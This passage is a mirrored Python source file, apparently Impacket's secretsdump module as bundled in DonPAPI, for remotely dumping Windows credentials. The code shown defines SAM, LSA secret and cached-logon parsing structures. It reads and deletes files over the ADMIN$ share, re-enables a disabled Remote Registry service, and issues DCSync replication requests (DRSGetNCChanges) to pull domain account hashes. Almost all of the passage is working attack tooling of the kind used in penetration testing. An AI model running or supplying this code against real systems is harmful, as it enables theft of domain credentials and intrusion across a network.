mirror of
https://github.com/login-securite/DonPAPI
synced 2024-12-18 05:04:44 +00:00
2617 lines
114 KiB
Python
2617 lines
114 KiB
Python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
|
#
|
|
# This software is provided under a slightly modified version
|
|
# of the Apache Software License. See the accompanying LICENSE file
|
|
# for more information.
|
|
#
|
|
# Description: Performs various techniques to dump hashes from the
|
|
# remote machine without executing any agent there.
|
|
# For SAM and LSA Secrets (including cached creds)
|
|
# we try to read as much as we can from the registry
|
|
# and then we save the hives in the target system
|
|
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
|
|
# data from there.
|
|
# For NTDS.dit we either:
|
|
# a. Get the domain users list and get its hashes
|
|
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
|
|
# call, replicating just the attributes we need.
|
|
# b. Extract NTDS.dit via vssadmin executed with the
|
|
# smbexec approach.
|
|
# It's copied on the temp dir and parsed remotely.
|
|
#
|
|
# The script initiates the services required for its working
|
|
# if they are not available (e.g. Remote Registry, even if it is
|
|
# disabled). After the work is done, things are restored to the
|
|
# original state.
|
|
#
|
|
# Author:
|
|
# Alberto Solino (@agsolino)
|
|
#
|
|
# References: Most of the work done by these guys. I just put all
|
|
# the pieces together, plus some extra magic.
|
|
#
|
|
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
|
|
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
|
|
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
|
|
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
|
|
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
|
|
# https://code.google.com/p/creddump/
|
|
# https://lab.mediaservice.net/code/cachedump.rb
|
|
# https://insecurety.net/?p=768
|
|
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
|
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
|
|
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
|
|
#
|
|
from __future__ import division
|
|
from __future__ import print_function
|
|
import codecs
|
|
import hashlib
|
|
import logging
|
|
import ntpath
|
|
import os
|
|
import random
|
|
import string
|
|
import time
|
|
from binascii import unhexlify, hexlify
|
|
from collections import OrderedDict
|
|
from datetime import datetime
|
|
from struct import unpack, pack
|
|
from six import b, PY2
|
|
|
|
from impacket import LOG
|
|
from impacket import system_errors
|
|
from impacket import winregistry, ntlm
|
|
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
|
from impacket.dcerpc.v5.dcom import wmi
|
|
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
|
|
VARIANT, VARENUM, DISPATCH_METHOD
|
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
|
|
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
|
|
IRemUnknown2, INTERFACE
|
|
from impacket.ese import ESENT_DB
|
|
from impacket.dpapi import DPAPI_SYSTEM
|
|
from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
|
|
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
|
from impacket.structure import Structure
|
|
from impacket.structure import hexdump
|
|
from impacket.uuid import string_to_bin
|
|
from impacket.crypto import transformKey
|
|
from impacket.krb5 import constants
|
|
from impacket.krb5.crypto import string_to_key
|
|
try:
|
|
from Cryptodome.Cipher import DES, ARC4, AES
|
|
from Cryptodome.Hash import HMAC, MD4
|
|
except ImportError:
|
|
LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
|
|
LOG.critical("See https://pypi.org/project/pycryptodomex/")
|
|
|
|
|
|
LOG.level = logging.ERROR
|
|
|
|
# Structures
|
|
# Taken from https://insecurety.net/?p=768
|
|
class SAM_KEY_DATA(Structure):
|
|
structure = (
|
|
('Revision','<L=0'),
|
|
('Length','<L=0'),
|
|
('Salt','16s=b""'),
|
|
('Key','16s=b""'),
|
|
('CheckSum','16s=b""'),
|
|
('Reserved','<Q=0'),
|
|
)
|
|
|
|
# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326
|
|
# Merci! Makes it way easier than parsing manually.
|
|
class SAM_HASH(Structure):
|
|
structure = (
|
|
('PekID','<H=0'),
|
|
('Revision','<H=0'),
|
|
('Hash','16s=b""'),
|
|
)
|
|
|
|
class SAM_KEY_DATA_AES(Structure):
|
|
structure = (
|
|
('Revision','<L=0'),
|
|
('Length','<L=0'),
|
|
('CheckSumLen','<L=0'),
|
|
('DataLen','<L=0'),
|
|
('Salt','16s=b""'),
|
|
('Data',':'),
|
|
)
|
|
|
|
class SAM_HASH_AES(Structure):
|
|
structure = (
|
|
('PekID','<H=0'),
|
|
('Revision','<H=0'),
|
|
('DataOffset','<L=0'),
|
|
('Salt','16s=b""'),
|
|
('Hash',':'),
|
|
)
|
|
|
|
class DOMAIN_ACCOUNT_F(Structure):
|
|
structure = (
|
|
('Revision','<L=0'),
|
|
('Unknown','<L=0'),
|
|
('CreationTime','<Q=0'),
|
|
('DomainModifiedCount','<Q=0'),
|
|
('MaxPasswordAge','<Q=0'),
|
|
('MinPasswordAge','<Q=0'),
|
|
('ForceLogoff','<Q=0'),
|
|
('LockoutDuration','<Q=0'),
|
|
('LockoutObservationWindow','<Q=0'),
|
|
('ModifiedCountAtLastPromotion','<Q=0'),
|
|
('NextRid','<L=0'),
|
|
('PasswordProperties','<L=0'),
|
|
('MinPasswordLength','<H=0'),
|
|
('PasswordHistoryLength','<H=0'),
|
|
('LockoutThreshold','<H=0'),
|
|
('Unknown2','<H=0'),
|
|
('ServerState','<L=0'),
|
|
('ServerRole','<H=0'),
|
|
('UasCompatibilityRequired','<H=0'),
|
|
('Unknown3','<Q=0'),
|
|
('Key0',':'),
|
|
# Commenting this, not needed and not present on Windows 2000 SP0
|
|
# ('Key1',':', SAM_KEY_DATA),
|
|
# ('Unknown4','<L=0'),
|
|
)
|
|
|
|
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
|
class USER_ACCOUNT_V(Structure):
|
|
structure = (
|
|
('Unknown','12s=b""'),
|
|
('NameOffset','<L=0'),
|
|
('NameLength','<L=0'),
|
|
('Unknown2','<L=0'),
|
|
('FullNameOffset','<L=0'),
|
|
('FullNameLength','<L=0'),
|
|
('Unknown3','<L=0'),
|
|
('CommentOffset','<L=0'),
|
|
('CommentLength','<L=0'),
|
|
('Unknown3','<L=0'),
|
|
('UserCommentOffset','<L=0'),
|
|
('UserCommentLength','<L=0'),
|
|
('Unknown4','<L=0'),
|
|
('Unknown5','12s=b""'),
|
|
('HomeDirOffset','<L=0'),
|
|
('HomeDirLength','<L=0'),
|
|
('Unknown6','<L=0'),
|
|
('HomeDirConnectOffset','<L=0'),
|
|
('HomeDirConnectLength','<L=0'),
|
|
('Unknown7','<L=0'),
|
|
('ScriptPathOffset','<L=0'),
|
|
('ScriptPathLength','<L=0'),
|
|
('Unknown8','<L=0'),
|
|
('ProfilePathOffset','<L=0'),
|
|
('ProfilePathLength','<L=0'),
|
|
('Unknown9','<L=0'),
|
|
('WorkstationsOffset','<L=0'),
|
|
('WorkstationsLength','<L=0'),
|
|
('Unknown10','<L=0'),
|
|
('HoursAllowedOffset','<L=0'),
|
|
('HoursAllowedLength','<L=0'),
|
|
('Unknown11','<L=0'),
|
|
('Unknown12','12s=b""'),
|
|
('LMHashOffset','<L=0'),
|
|
('LMHashLength','<L=0'),
|
|
('Unknown13','<L=0'),
|
|
('NTHashOffset','<L=0'),
|
|
('NTHashLength','<L=0'),
|
|
('Unknown14','<L=0'),
|
|
('Unknown15','24s=b""'),
|
|
('Data',':=b""'),
|
|
)
|
|
|
|
class NL_RECORD(Structure):
|
|
structure = (
|
|
('UserLength','<H=0'),
|
|
('DomainNameLength','<H=0'),
|
|
('EffectiveNameLength','<H=0'),
|
|
('FullNameLength','<H=0'),
|
|
# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
|
|
('LogonScriptName','<H=0'),
|
|
('ProfilePathLength','<H=0'),
|
|
('HomeDirectoryLength','<H=0'),
|
|
('HomeDirectoryDriveLength','<H=0'),
|
|
('UserId','<L=0'),
|
|
('PrimaryGroupId','<L=0'),
|
|
('GroupCount','<L=0'),
|
|
('logonDomainNameLength','<H=0'),
|
|
('unk0','<H=0'),
|
|
('LastWrite','<Q=0'),
|
|
('Revision','<L=0'),
|
|
('SidCount','<L=0'),
|
|
('Flags','<L=0'),
|
|
('unk1','<L=0'),
|
|
('LogonPackageLength','<L=0'),
|
|
('DnsDomainNameLength','<H=0'),
|
|
('UPN','<H=0'),
|
|
# ('MetaData','52s=""'),
|
|
# ('FullDomainLength','<H=0'),
|
|
# ('Length2','<H=0'),
|
|
('IV','16s=b""'),
|
|
('CH','16s=b""'),
|
|
('EncryptedData',':'),
|
|
)
|
|
|
|
|
|
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
|
|
structure = (
|
|
('Value','6s'),
|
|
)
|
|
|
|
class SAMR_RPC_SID(Structure):
|
|
structure = (
|
|
('Revision','<B'),
|
|
('SubAuthorityCount','<B'),
|
|
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
|
|
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
|
|
('SubAuthority',':'),
|
|
)
|
|
|
|
def formatCanonical(self):
|
|
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
|
|
for i in range(self['SubAuthorityCount']):
|
|
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
|
|
return ans
|
|
|
|
class LSA_SECRET_BLOB(Structure):
|
|
structure = (
|
|
('Length','<L=0'),
|
|
('Unknown','12s=b""'),
|
|
('_Secret','_-Secret','self["Length"]'),
|
|
('Secret',':'),
|
|
('Remaining',':'),
|
|
)
|
|
|
|
class LSA_SECRET(Structure):
|
|
structure = (
|
|
('Version','<L=0'),
|
|
('EncKeyID','16s=b""'),
|
|
('EncAlgorithm','<L=0'),
|
|
('Flags','<L=0'),
|
|
('EncryptedData',':'),
|
|
)
|
|
|
|
class LSA_SECRET_XP(Structure):
|
|
structure = (
|
|
('Length','<L=0'),
|
|
('Version','<L=0'),
|
|
('_Secret','_-Secret', 'self["Length"]'),
|
|
('Secret', ':'),
|
|
)
|
|
|
|
|
|
# Helper to create files for exporting
|
|
def openFile(fileName, mode='w+', openFileFunc=None):
|
|
if openFileFunc is not None:
|
|
return openFileFunc(fileName, mode)
|
|
else:
|
|
return codecs.open(fileName, mode, encoding='utf-8')
|
|
|
|
|
|
# Classes
|
|
class RemoteFile:
|
|
def __init__(self, smbConnection, fileName):
|
|
self.__smbConnection = smbConnection
|
|
self.__fileName = fileName
|
|
self.__tid = self.__smbConnection.connectTree('ADMIN$')
|
|
self.__fid = None
|
|
self.__currentOffset = 0
|
|
|
|
def open(self):
|
|
tries = 0
|
|
while True:
|
|
try:
|
|
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
|
|
shareMode=FILE_SHARE_READ)
|
|
except Exception as e:
|
|
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
|
if tries >= 3:
|
|
raise e
|
|
# Stuff didn't finish yet.. wait more
|
|
time.sleep(5)
|
|
tries += 1
|
|
pass
|
|
else:
|
|
raise e
|
|
else:
|
|
break
|
|
|
|
def seek(self, offset, whence):
|
|
# Implement whence, for now it's always from the beginning of the file
|
|
if whence == 0:
|
|
self.__currentOffset = offset
|
|
|
|
def read(self, bytesToRead):
|
|
if bytesToRead > 0:
|
|
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
|
|
self.__currentOffset += len(data)
|
|
return data
|
|
return b''
|
|
|
|
def close(self):
|
|
if self.__fid is not None:
|
|
self.__smbConnection.closeFile(self.__tid, self.__fid)
|
|
self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
|
|
self.__fid = None
|
|
|
|
def tell(self):
|
|
return self.__currentOffset
|
|
|
|
def __str__(self):
|
|
return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
|
|
|
|
class RemoteOperations:
|
|
def __init__(self, smbConnection, doKerberos, kdcHost=None):
|
|
self.__smbConnection = smbConnection
|
|
if self.__smbConnection is not None:
|
|
self.__smbConnection.setTimeout(5*60)
|
|
self.__serviceName = 'RemoteRegistry'
|
|
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
|
self.__rrp = None
|
|
self.__regHandle = None
|
|
|
|
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
|
|
self.__samr = None
|
|
self.__domainHandle = None
|
|
self.__domainName = None
|
|
|
|
self.__drsr = None
|
|
self.__hDrs = None
|
|
self.__NtdsDsaObjectGuid = None
|
|
self.__ppartialAttrSet = None
|
|
self.__prefixTable = []
|
|
self.__doKerberos = doKerberos
|
|
self.__kdcHost = kdcHost
|
|
|
|
self.__bootKey = b''
|
|
self.__disabled = False
|
|
self.__shouldStop = False
|
|
self.__started = False
|
|
|
|
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
|
self.__scmr = None
|
|
self.__tmpServiceName = None
|
|
self.__serviceDeleted = False
|
|
|
|
self.__batchFile = '%TEMP%\\execute.bat'
|
|
self.__shell = '%COMSPEC% /Q /c '
|
|
self.__output = '%SYSTEMROOT%\\Temp\\__output'
|
|
self.__answerTMP = b''
|
|
|
|
self.__execMethod = 'smbexec'
|
|
|
|
def setExecMethod(self, method):
|
|
self.__execMethod = method
|
|
|
|
def __connectSvcCtl(self):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
|
|
def __connectWinReg(self):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__rrp = rpc.get_dce_rpc()
|
|
self.__rrp.connect()
|
|
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
|
|
|
def connectSamr(self, domain):
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
self.__samr = rpc.get_dce_rpc()
|
|
self.__samr.connect()
|
|
self.__samr.bind(samr.MSRPC_UUID_SAMR)
|
|
resp = samr.hSamrConnect(self.__samr)
|
|
serverHandle = resp['ServerHandle']
|
|
|
|
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
|
|
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
|
|
self.__domainHandle = resp['DomainHandle']
|
|
self.__domainName = domain
|
|
|
|
def __connectDrds(self):
|
|
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
|
|
protocol='ncacn_ip_tcp')
|
|
rpc = transport.DCERPCTransportFactory(stringBinding)
|
|
rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
|
|
rpc.setRemoteName(self.__smbConnection.getRemoteName())
|
|
if hasattr(rpc, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
|
|
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
|
|
self.__drsr = rpc.get_dce_rpc()
|
|
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
if self.__doKerberos:
|
|
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
self.__drsr.connect()
|
|
# Uncomment these lines if you want to play some tricks
|
|
# This will make the dump way slower tho.
|
|
#self.__drsr.bind(samr.MSRPC_UUID_SAMR)
|
|
#self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
|
|
#self.__drsr.set_max_fragment_size(1)
|
|
# And Comment this line
|
|
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
|
|
|
|
if self.__domainName is None:
|
|
# Get domain name from credentials cached
|
|
self.__domainName = rpc.get_credentials()[2]
|
|
|
|
request = drsuapi.DRSBind()
|
|
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
|
|
drs = drsuapi.DRS_EXTENSIONS_INT()
|
|
drs['cb'] = len(drs) #- 4
|
|
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
|
|
drsuapi.DRS_EXT_STRONG_ENCRYPTION
|
|
drs['SiteObjGuid'] = drsuapi.NULLGUID
|
|
drs['Pid'] = 0
|
|
drs['dwReplEpoch'] = 0
|
|
drs['dwFlagsExt'] = 0
|
|
drs['ConfigObjGUID'] = drsuapi.NULLGUID
|
|
# I'm uber potential (c) Ben
|
|
drs['dwExtCaps'] = 0xffffffff
|
|
request['pextClient']['cb'] = len(drs)
|
|
request['pextClient']['rgb'] = list(drs.getData())
|
|
resp = self.__drsr.request(request)
|
|
if LOG.level == logging.DEBUG:
|
|
LOG.debug('DRSBind() answer')
|
|
resp.dump()
|
|
|
|
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
|
|
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
|
|
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
|
|
|
|
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
|
|
ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
|
|
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
|
|
drsExtensionsInt.fromString(ppextServer)
|
|
|
|
if drsExtensionsInt['dwReplEpoch'] != 0:
|
|
# Different epoch, we have to call DRSBind again
|
|
if LOG.level == logging.DEBUG:
|
|
LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
|
|
'dwReplEpoch'])
|
|
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
|
|
request['pextClient']['cb'] = len(drs)
|
|
request['pextClient']['rgb'] = list(drs.getData())
|
|
resp = self.__drsr.request(request)
|
|
|
|
self.__hDrs = resp['phDrs']
|
|
|
|
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
|
|
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
|
|
if LOG.level == logging.DEBUG:
|
|
LOG.debug('DRSDomainControllerInfo() answer')
|
|
resp.dump()
|
|
|
|
if resp['pmsgOut']['V2']['cItems'] > 0:
|
|
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
|
|
else:
|
|
LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
|
|
raise Exception('Fatal, aborting')
|
|
|
|
def getDrsr(self):
|
|
return self.__drsr
|
|
|
|
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
|
|
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
|
|
if self.__drsr is None:
|
|
self.__connectDrds()
|
|
|
|
LOG.debug('Calling DRSCrackNames for %s ' % name)
|
|
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
|
|
return resp
|
|
|
|
def DRSGetNCChanges(self, userEntry):
|
|
if self.__drsr is None:
|
|
self.__connectDrds()
|
|
|
|
LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
|
|
request = drsuapi.DRSGetNCChanges()
|
|
request['hDrs'] = self.__hDrs
|
|
request['dwInVersion'] = 8
|
|
|
|
request['pmsgIn']['tag'] = 8
|
|
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
|
|
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
|
|
|
|
dsName = drsuapi.DSNAME()
|
|
dsName['SidLen'] = 0
|
|
dsName['Guid'] = string_to_bin(userEntry[1:-1])
|
|
dsName['Sid'] = ''
|
|
dsName['NameLen'] = 0
|
|
dsName['StringName'] = ('\x00')
|
|
|
|
dsName['structLen'] = len(dsName.getData())
|
|
|
|
request['pmsgIn']['V8']['pNC'] = dsName
|
|
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
|
|
|
|
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
|
|
|
|
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
|
|
request['pmsgIn']['V8']['cMaxObjects'] = 1
|
|
request['pmsgIn']['V8']['cMaxBytes'] = 0
|
|
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
|
|
if self.__ppartialAttrSet is None:
|
|
self.__prefixTable = []
|
|
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
|
|
self.__ppartialAttrSet['dwVersion'] = 1
|
|
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
|
|
for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
|
|
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
|
|
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
|
|
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
|
|
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
|
|
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
|
|
|
|
return self.__drsr.request(request)
|
|
|
|
def getDomainUsers(self, enumerationContext=0):
|
|
if self.__samr is None:
|
|
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
|
|
try:
|
|
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
|
|
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
|
|
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
|
|
samr.USER_SERVER_TRUST_ACCOUNT |\
|
|
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
|
|
enumerationContext=enumerationContext)
|
|
except DCERPCException as e:
|
|
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
raise
|
|
resp = e.get_packet()
|
|
return resp
|
|
|
|
def ridToSid(self, rid):
|
|
if self.__samr is None:
|
|
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
|
|
return resp['Sid']
|
|
|
|
def getMachineKerberosSalt(self):
|
|
"""
|
|
Returns Kerberos salt for the current connection if
|
|
we have the correct information
|
|
"""
|
|
if self.__smbConnection.getServerName() == '':
|
|
# Todo: figure out an RPC call that gives us the domain FQDN
|
|
# instead of the NETBIOS name as NetrWkstaGetInfo does
|
|
return b''
|
|
else:
|
|
host = self.__smbConnection.getServerName()
|
|
domain = self.__smbConnection.getServerDNSDomainName()
|
|
salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
|
|
return salt
|
|
|
|
def getMachineNameAndDomain(self):
|
|
if self.__smbConnection.getServerName() == '':
|
|
# No serverName.. this is either because we're doing Kerberos
|
|
# or not receiving that data during the login process.
|
|
# Let's try getting it through RPC
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
dce = rpc.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(wkst.MSRPC_UUID_WKST)
|
|
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
|
dce.disconnect()
|
|
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
|
|
'wki100_langroup'][:-1]
|
|
else:
|
|
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
|
|
|
def getDefaultLoginAccount(self):
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
|
keyHandle = ans['phkResult']
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
|
username = dataValue[:-1]
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
|
domain = dataValue[:-1]
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
if len(domain) > 0:
|
|
return '%s\\%s' % (domain,username)
|
|
else:
|
|
return username
|
|
except:
|
|
return None
|
|
|
|
def getServiceAccount(self, serviceName):
|
|
try:
|
|
# Open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
|
serviceHandle = ans['lpServiceHandle']
|
|
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
|
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
|
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
|
if account.startswith('.\\'):
|
|
account = account[2:]
|
|
return account
|
|
except Exception as e:
|
|
# Don't log if history service is not found, that should be normal
|
|
if serviceName.endswith("_history") is False:
|
|
LOG.error(e)
|
|
return None
|
|
|
|
def __checkServiceStatus(self):
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
|
self.__serviceHandle = ans['lpServiceHandle']
|
|
# Let's check its status
|
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
|
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
|
LOG.info('Service %s is in stopped state'% self.__serviceName)
|
|
self.__shouldStop = True
|
|
self.__started = False
|
|
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
|
LOG.debug('Service %s is already running'% self.__serviceName)
|
|
self.__shouldStop = False
|
|
self.__started = True
|
|
else:
|
|
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
|
|
|
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
|
if self.__started is False:
|
|
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
|
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
|
LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
|
|
self.__disabled = True
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
|
LOG.info('Starting service %s' % self.__serviceName)
|
|
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
|
time.sleep(1)
|
|
|
|
def enableRegistry(self):
|
|
self.__connectSvcCtl()
|
|
self.__checkServiceStatus()
|
|
self.__connectWinReg()
|
|
|
|
def __restore(self):
|
|
# First of all stop the service if it was originally stopped
|
|
if self.__shouldStop is True:
|
|
LOG.info('Stopping service %s' % self.__serviceName)
|
|
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
|
if self.__disabled is True:
|
|
LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
|
if self.__serviceDeleted is False:
|
|
# Check again the service we created does not exist, starting a new connection
|
|
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
|
try:
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
|
if hasattr(rpc, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
|
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
self.__scmr.connect()
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
# Open SC Manager
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
# Now let's open the service
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
|
service = resp['lpServiceHandle']
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
